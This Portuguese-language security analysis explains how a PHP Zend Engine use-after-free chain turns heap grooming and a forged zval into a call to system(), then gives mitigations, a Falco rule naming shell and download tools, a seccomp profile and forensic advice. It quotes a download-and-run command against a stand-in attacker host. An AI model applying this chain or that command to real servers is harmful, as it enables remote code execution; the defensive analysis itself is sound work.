Do Dangling Pointer ao system(): Heap Grooming, Fake zval e Cadeia de RCE
Do Dangling Pointer ao system(): Heap Grooming, Fake zval e Cadeia de RCE
<time datetime="2026-10-23">Verificado em 23 de outubro de 2026</time>
Converter um Use-After-Free em Remote Code Execution determinístico na Zend Engine é trabalho para especialistas. A lógica da aplicação é completamente contornada; o alvo é o alocador interno Zend Memory Manager (ZMM) e a estrutura de 16 bytes zval. Esta análise descreve como CVE-2026-109619 e CVE-2026-109618 se combinam em uma cadeia de exploit única. É pesquisa defensiva; código de exploit funcional não é publicado.
1. Layout e alinhamento do zval de 16 bytes
Em PHP 7 e 8, toda variável é representada por struct _zval_struct. Em sistemas 64-bit, a estrutura tem exatamente 16 bytes e alinhamento de 8 bytes.
0x00 0x08 0x09 0x0A 0x0C 0x10
┌──────────────────┬──────────────┬─────────┬─────────┬──────────────┐
│ zend_value │ u1.type │ flags │ gc_info │ u2.extra │
│ (ponteiro 8B) │ (1 byte) │ (1 byte)│ (2 byte)│ (4 byte) │
└────────┬─────────┴──────┬───────┴─────────┴─────────┴──────────────┘
│ │
│ └─► 0x08: campo de tipo, ex. IS_OBJECT
▼
┌──────────────────────────────────────┐
│ Fake zend_object no heap │
│ ┌──────────────────────────────────┐ │
│ │ handlers (ponteiro para fake vtable)│
│ └──────────────┬───────────────────┘ │
└────────────────┼─────────────────────┘
▼
┌──────────────────────────────────────┐
│ Fake function vtable │
│ ┌──────────────────────────────────┐ │
│ │ free_obj / read_property / call │ │
│ │ → endereço de libc system() │ │
│ └──────────────────────────────────┘ │
└──────────────────────────────────────┘
struct _zval_struct {
zend_value value; /* 8 bytes: zend_string*, zend_object* etc. */
union {
struct {
uint8_t type; /* IS_NULL, IS_LONG, IS_OBJECT ... */
uint8_t type_flags;
uint8_t u1_low;
uint8_t u1_high;
} v;
uint32_t type_info;
} u1;
union {
uint32_t next; /* cadeia de colisão de hash */
uint32_t extra;
} u2;
};
O ataque visa dois campos: value.ptr e u1.type. Se value.ptr for definido para o endereço de um zend_object forjado controlado e u1.type para IS_OBJECT, a VM interpreta a memória como objeto e chama ponteiros de função via handlers. Assim, corrupção de dados vira sequestro de fluxo de controle.
2. Fase 1: heap grooming e spraying
Um único write UAF não basta. O slot liberado deve ser reocupado com dados controlados no momento certo. O ZMM trabalha com classes de tamanho e freelists LIFO.
- Drenar fragmentação: o atacante envia requisições com headers e padding de body de tamanho exato para preencher buracos existentes.
- Spray do heap: muitas requisições multipart idênticas criam numerosas alocações da mesma classe.
- Reutilizar o bin: o chunk recém-liberado é preferencialmente entregue à próxima alocação compatível — idealmente uma string ou valor de sessão controlado pelo atacante.
O PHP-FPM cria workers via fork(). Isso significa que o estado do heap do master é herdado por todos os filhos, e os espaços de endereço são quase idênticos. Esse determinismo é valioso para o atacante, que pode prever a ocupação em vários workers.
grep -E '^(pm\.|listen\.backlog|request_terminate)' /etc/php/8.3/fpm/pool.d/www.conf
pm = dynamic
pm.max_children = 24
pm.start_servers = 4
pm.min_spare_servers = 2
pm.max_spare_servers = 8
pm.max_requests = 300
request_terminate_timeout = 30s
Um pm.max_requests menor encurta o lifetime e dificulta grooming de longo prazo. Ao mesmo tempo aumentam os custos de desserialização de sessão e warmup de OPcache. O equilíbrio certo depende da aplicação e deve ser medido, não adivinhado.
3. Fase 2: construir o fake zval
O slot liberado de 16 bytes recebe a seguinte ocupação:
Offset Tam. Campo Valor
0x00 8 value.ptr → endereço do fake zend_object
0x08 1 u1.type → IS_OBJECT (0x08)
0x09 1 u1.type_flags → 0x00
0x0A 2 u1.extra → 0x0000
0x0C 4 u2.next/extra → 0x00000000
A VM Zend dereferencia então zend_object->handlers. Essa tabela contém ponteiros de função para free_obj, read_property, call e get_gc. O atacante pode falsificar a tabela inteira ou redirecionar uma entrada existente para system(). Ambas as variantes exigem conhecer o endereço de system().
4. Fase 3: contornar ASLR e tomar o fluxo de controle
Distribuições modernas ativam PIE e ASLR. Um endereço hardcoded causa SIGSEGV. Por isso o exploit combina várias técnicas.
4.1 Vazamento de informação
Um zval IS_STRING forjado, cujo ponteiro val aponta para uma tabela de funções Zend, pode expor endereços base ao ser lido. Mensagens de erro, saídas de var_dump ou respostas serializadas servem de canal. No PHP2Shell, são frequentemente diferenças sutis em caminhos de erro que revelam um ponteiro.
4.2 Resolução dinâmica
libc_base = ponteiro_vazado - offset_conhecido
system_addr = libc_base + offset_system
Os offsets diferem por distribuição e versão de libc. Atacantes mantêm tabelas para Ubuntu 22.04/24.04, Debian 12, RHEL 9 e imagens oficiais php:8.x-fpm. Quem expõe publicamente a versão da imagem de container facilita essa fase.
4.3 Chamada a system()
Na rotina de cleanup de objeto, a VM executa:
obj->handlers->free_obj(obj);
Em x86_64, o primeiro argumento é passado em RDI. Se obj apontar para uma região de memória contendo uma string de comando do atacante como curl -s http://atacante.example/p | sh, system() a interpreta como comando de shell. O processo roda com os privilégios do servidor web. Este passo é independente de código de usuário ter sido executado.
5. Como quebrar a cadeia
5.1 Nível da engine
session.upload_progress.enabled = Off
5.2 Nível de runtime
- rule: PHP-FPM Spawns Shell
desc: worker php-fpm inicia shell ou downloader
condition: >
spawned_process and
proc.pname in (php-fpm, php-fpm8.3, php-fpm8.4, php-fpm8.5) and
proc.name in (sh, bash, dash, curl, wget, nc, ncat, socat)
output: >
"PHP-FPM child spawned %proc.name (parent=%proc.pname pid=%proc.pid)"
priority: CRITICAL
5.3 Nível de kernel
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{ "names": ["execve", "execveat"], "action": "SCMP_ACT_ERRNO", "errnoRet": 1 }
]
}
Para workloads que não iniciam processos externos, proibir execve encerra a cadeia no último passo. Processamento de imagens, geração de PDF e envio de e-mail devem ser identificados antes e movidos para workers separados.
5.4 Verificar nível de patch
dpkg -l | grep -E '^ii\s+php'
apt-cache policy php8.3-fpm
rpm -qa | grep -i '^php'
dnf info php-fpm
php -v
As versões mínimas oficiais são 8.5.12, 8.4.27, 8.3.36 e 8.2.35.
6. Consequências operacionais
A cadeia mostra que o PHP2Shell não é apenas um problema de aplicação. Ela usa uma função ativa na maioria das configurações padrão e a conecta a um padrão clássico de corrupção de memória. Para operadores isso significa: um gerenciamento de patches que considera apenas código de aplicação é insuficiente. O runtime PHP faz parte da superfície de ataque e deve ser versionado, testado e monitorado.
Especialmente críticos são workers de longa duração, valores altos de pm.max_children e imagens de container publicamente acessíveis com versão de libc conhecida. Reduzir esses fatores diminui a probabilidade de sucesso de um ataque, mesmo sem remover a causa. A ordem das medidas, porém, permanece clara: patchear, depois mitigar, depois monitorar.
7. Evidências forenses da cadeia
Se um ataque for bem-sucedido, o estado do heap é perdido após o reinício do worker. Por isso é crucial preservar evidências antes do reinício. Ative core dumps de forma controlada e garanta que não aterrissem no webroot ou em diretório gravável por www-data. Um core dump pode conter dados de sessão, credenciais e fragmentos de memória — deve ser armazenado criptografado e com acesso restrito.
No nível de filesystem, vale olhar para artefatos de curta duração: arquivos em /tmp, /dev/shm e no diretório de sessão criados nos últimos minutos. Atacantes frequentemente baixam pequenos auxiliares ou escrevem webshells em diretórios de upload graváveis. Um find com -mmin -30 e -perm -u+x dá primeiros indícios, mas não substitui análise forense de memória completa.
No nível de rede, os primeiros pacotes após o execve bem-sucedido são decisivos. Verifique consultas DNS e conexões TLS originadas do worker PHP. Muitos atacantes usam domínios registrados poucas horas antes; a correlação de threat intelligence dos nomes resolvidos costuma ser mais produtiva que a busca por IPs conhecidos.
Finalmente, alimente os indicadores obtidos de volta na detecção. Um novo ruleset Falco, uma assinatura Suricata ou uma regra de correlação SIEM só têm valor se forem documentados e testados. Após cada incidente, faça um breve review: qual regra teria disparado antes, qual faltou, quais geraram falsos positivos? Essa retroalimentação é a diferença entre um relatório de incidente e uma defesa permanentemente melhorada.
8. Conclusão
- 16 bytes bastam para transformar um UAF em interpretação de objeto.
- Bins do ZMM são determinísticos o suficiente para grooming confiável via workers
fork(). - ASLR pode ser contornado por vazamentos de informação ou offsets pré-calculados.
- Bloqueio de
execveé a última linha de defesa quando o patch ainda não foi aplicado.
Esta análise serve exclusivamente à defesa. Código de reprodução foi deliberadamente omitido.